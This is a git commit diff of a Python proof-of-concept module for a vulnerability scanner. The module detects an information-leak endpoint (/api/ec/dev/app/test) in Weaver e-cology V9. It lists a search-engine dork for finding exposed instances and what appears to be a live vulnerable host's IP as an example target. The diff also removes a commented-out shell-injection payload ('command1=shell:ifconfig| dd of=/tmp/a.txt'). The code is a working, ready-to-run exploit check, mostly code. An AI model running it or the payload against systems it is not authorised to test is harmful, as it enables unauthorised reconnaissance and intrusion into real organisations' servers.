Update poc.py
This commit is contained in:
@@ -5,31 +5,31 @@ from lib.core.poc import POCBase
|
||||
|
||||
# ...
|
||||
import urllib3
|
||||
import re
|
||||
urllib3.disable_warnings()
|
||||
|
||||
class POC(POCBase):
|
||||
|
||||
_info = {
|
||||
"author" : "hansi", # POC作者
|
||||
"author" : "jijue", # POC作者
|
||||
"version" : "1", # POC版本,默认是1
|
||||
"CreateDate" : "2022-1-10", # POC创建时间
|
||||
"UpdateDate" : "2022-1-10", # POC创建时间
|
||||
"PocDesc" : """
|
||||
这个API接口漏洞只针对e-cology v9.0版本才有用,JS文件中有一个API接口:/api/ec/dev/app/test
|
||||
|
||||
这个API接口漏洞只针对e-cology v9.0版本才有用,JS文件中有一个API接口:/api/ec/dev/app/test
|
||||
""", # POC描述,写更新描述,没有就不写
|
||||
|
||||
"name" : "泛微-e-cologyV9信息泄露", # 漏洞名称
|
||||
"name" : "泛微 E-cology V9信息泄露", # 漏洞名称
|
||||
"VulnID" : "", # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可
|
||||
"AppName" : "泛微-e-cology", # 漏洞应用名称
|
||||
"AppVersion" : "无", # 漏洞应用版本
|
||||
"VulnDate" : "2021-03-10", # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx
|
||||
"VulnDesc" : """
|
||||
可以获取到响应的ec_id值和对应的IP泛微移动管理平台的地址
|
||||
可以获取到响应的ec_id值和对应的IP泛微移动管理平台的地址
|
||||
""", # 漏洞简要描述
|
||||
|
||||
"fofa-dork":"", """
|
||||
app="泛微-EOffice"
|
||||
app="泛微-EOffice"
|
||||
""" # fofa搜索语句
|
||||
"example" : "http://106.75.133.16:9000/api/ec/dev/app/test", # 存在漏洞的演示url,写一个就可以了
|
||||
"exp_img" : "", # 先不管
|
||||
@@ -48,11 +48,9 @@ class POC(POCBase):
|
||||
"""
|
||||
vuln = [False,""]
|
||||
url = self.target + "/api/ec/dev/app/test" # url自己按需调整
|
||||
# date="command1=shell:ifconfig| dd of=/tmp/a.txt"
|
||||
|
||||
headers = {"User-Agent":get_random_ua(),
|
||||
"Connection":"close",
|
||||
# "Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
|
||||
try:
|
||||
@@ -60,8 +58,13 @@ class POC(POCBase):
|
||||
检测逻辑,漏洞存在则修改vuln值,漏洞不存在则不动
|
||||
"""
|
||||
req = requests.get(url,headers = headers , proxies = self.proxy , timeout = self.timeout,verify = False)
|
||||
if req.status_code == 200 and "ec_id" and "ec_url" in req.text:
|
||||
vuln = [True,req.text]
|
||||
|
||||
reg = """\{"msg":"[a-z]+",.+status":[a-z]+\}"""
|
||||
result = re.match(reg,req.text.strip())
|
||||
if req.status_code == 200 and result:
|
||||
|
||||
vuln = [True,result.group(0)]
|
||||
|
||||
else:
|
||||
vuln = [False,req.text]
|
||||
except Exception as e:
|
||||
|
||||
Reference in New Issue
Block a user